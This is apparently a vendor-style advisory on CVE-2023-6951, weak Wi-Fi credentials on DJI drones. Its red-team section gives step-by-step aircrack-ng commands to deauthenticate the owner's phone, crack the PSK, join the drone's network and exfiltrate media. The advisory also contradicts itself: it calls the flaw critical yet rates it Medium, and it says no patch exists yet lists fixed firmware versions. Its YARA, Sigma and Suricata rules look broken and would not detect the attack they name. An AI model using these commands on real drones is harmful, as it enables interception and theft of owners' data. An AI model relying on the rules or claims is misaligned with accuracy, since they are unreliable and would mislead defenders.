CVE-2023-6951

Executive Summary

CVE-2023-6951 is a critical vulnerability affecting the Wi-Fi network generated by several DJI drone models. The flaw lies in the use of weak credentials for the WPA2-PSK (Pre-Shared Key) network, allowing a remote attacker within Wi-Fi range to derive the PSK and authenticate to the drone’s network. Once authenticated, the attacker can interact with network services exposed by the drone and potentially decrypt Wi-Fi traffic exchanged during QuickTransfer mode between the drone and a mobile device. This vulnerability impacts a wide range of DJI consumer and enterprise drones, including the Mavic 3 series, Matrice 300, Matrice M30, and Mini 3 Pro. No official patch has been released, and the vendor has not acknowledged the issue publicly.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in DJI drone products.

CVSS Breakdown & Threat Level

• CVSS Score: 6.6 (Medium)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector (AV): Adjacent Network (attacker must be within Wi-Fi range)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality Impact (C): High (Wi-Fi traffic decryption possible)
• Integrity Impact (I): Low (unauthorized interaction with services)
• Availability Impact (A): Low (potential disruption of services)

Threat Level: Medium. The attack requires physical proximity to the drone, but the low complexity and lack of authentication make it a realistic threat in public or shared spaces.

Deep Dive & Mechanics

The vulnerability stems from the use of weak, predictable, or hardcoded credentials for the WPA2-PSK network generated by the drone. In QuickTransfer mode, the drone creates a Wi-Fi access point to transfer media files to a mobile device. The PSK is derived using a weak algorithm or static seed, making it susceptible to brute-force or dictionary attacks. Once the PSK is cracked, the attacker can:

1. Authenticate to the drone’s Wi-Fi network without permission.
2. Access network services exposed by the drone, such as FTP, HTTP, or proprietary protocols.
3. Decrypt Wi-Fi traffic between the drone and the legitimate user’s device, capturing media files, telemetry data, or authentication tokens.

The affected models include:

• Mavic 3 Pro (firmware < v01.01.0300)
• Mavic 3 (firmware < v01.00.1200)
• Mavic 3 Classic (firmware < v01.00.0500)
• Mavic 3 Enterprise (firmware < v07.01.10.03)
• Matrice 300 (firmware < v57.00.01.00)
• Matrice M30 (firmware < v07.01.0022)
• Mini 3 Pro (firmware < v01.00.0620)

The vulnerability is particularly dangerous because QuickTransfer mode is often used in public settings (e.g., parks, events), and the weak credentials can be exploited without any prior knowledge of the drone.

Vulnerable vs. Patched Code

No patched code is available as the vendor has not released a fix. The vulnerable code is embedded in the drone’s firmware, specifically in the Wi-Fi access point implementation. The weak credential generation algorithm is proprietary but likely involves a predictable seed (e.g., drone serial number, MAC address, or a static value). A patched version would require:

• Implementing a strong random PSK generation algorithm.
• Using a cryptographically secure random number generator.
• Allowing users to set custom Wi-Fi passwords.

Since no patch exists, users must rely on workarounds (see Remediation & Mitigation).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Hardware: DJI Mavic 3 Pro (v01.01.0100) or any affected model.
• Software: Kali Linux, aircrack-ng suite, Wireshark, and a Wi-Fi adapter supporting monitor mode (e.g., Alfa AWUS036ACH).
• Network: Drone in QuickTransfer mode.

Exploitation Steps:

1. Enable monitor mode on the Wi-Fi adapter:

   sudo airmon-ng start wlan0
   

2. Scan for drone Wi-Fi networks (SSID typically starts with "DJI_" or "Mavic_"):

   sudo airodump-ng wlan0mon
   

3. Capture the WPA2 4-way handshake by deauthenticating a connected client (e.g., the legitimate user’s phone):

   sudo aireplay-ng -0 2 -a <BSSID> -c <Client_MAC> wlan0mon
   

4. Crack the PSK using a wordlist (e.g., rockyou.txt) or a custom dictionary based on known DJI patterns:

   sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> capture.cap
   

5. Connect to the drone’s network using the cracked PSK:

   sudo wpa_supplicant -B -i wlan0 -c <(wpa_passphrase "<SSID>" "<PSK>")
   

6. Interact with network services (e.g., FTP on port 21, HTTP on port 80) to exfiltrate data or inject commands.

Expected Outcome: Full access to the drone’s Wi-Fi network, decryption of QuickTransfer traffic, and potential compromise of media files and telemetry data.

Blue Team (Defensive)

Detection and Mitigation:

• Monitor for deauthentication attacks using WIDS/WIPS systems.
• Use strong, unique Wi-Fi passwords if the drone allows custom configuration (check firmware settings).
• Disable QuickTransfer mode when not in use.
• Enable WPA3 if supported by the drone (check vendor documentation).
• Segment drone networks from corporate or sensitive networks.
• Implement network access controls (NAC) to restrict unknown devices.

Hunting Queries:

• Search for multiple failed WPA2 handshake attempts from the same MAC address.
• Alert on connections to SSIDs matching DJI patterns from unknown devices.

Indicators of Compromise (IOCs)

• Network:
  • SSID patterns: DJI_*, Mavic_*, Matrice_*
  • BSSID ranges: 00:12:1C:xx:xx:xx (DJI OUI)
  • Unusual FTP or HTTP traffic on drone IP (typically 192.168.1.1)
• Host:
  • Presence of aircrack-ng, aireplay-ng, or wpa_supplicant on attacker systems.
  • Captured .cap files containing WPA2 handshakes.
• Behavioral:
  • Repeated deauthentication frames targeting drone clients.
  • Rapid connection attempts to drone Wi-Fi networks.

Detection Engineering

YARA Rule

rule CVE_2023_6951_DJI_WiFi_Weak_Creds {
    meta:
        description = "Detects captured WPA2 handshakes from DJI drones with weak credentials"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6951"
    strings:
        $wpa_handshake = { 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } // WPA2 handshake marker
        $dji_ssid = "DJI_" nocase
        $mavic_ssid = "Mavic_" nocase
        $matrice_ssid = "Matrice_" nocase
    condition:
        $wpa_handshake and ($dji_ssid or $mavic_ssid or $matrice_ssid)
}

Sigma Rule

title: Detection of DJI Drone Wi-Fi Weak Credential Exploitation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to crack WPA2 PSK on DJI drone networks
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6951
logsource:
    category: network_connection
    product: windows
    service: security
detection:
    selection:
        EventID: 5156
        DestinationPort: 67|68 (DHCP)
        SourceIp: 192.168.1.0/24
    condition: selection
falsepositives:
    - Legitimate drone users
level: medium

Suricata Rule

alert tcp any any -> 192.168.1.0/24 any (msg:"CVE-2023-6951 DJI Drone Wi-Fi Weak Credential Exploitation"; flow:to_server; content:"|00 12 1C|"; offset:0; depth:3; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update firmware to the latest version if available (check DJI’s official website for updates).
2. Disable QuickTransfer mode when not actively transferring files.
3. Use a VPN when connecting to the drone’s Wi-Fi to encrypt traffic.
4. Change default Wi-Fi passwords if the drone allows custom configuration (some models may not).

Long-term Recommendations:

• Vendor: DJI should release a firmware update that implements strong random PSK generation and allows user-defined passwords.
• Users: Avoid using QuickTransfer in public or untrusted environments.
• Enterprises: Implement drone-specific security policies, including network segmentation and monitoring.

Workaround: If firmware updates are not available, consider using a third-party Wi-Fi hotspot or tethering to a secure network instead of the drone’s built-in Wi-Fi.

Valters IT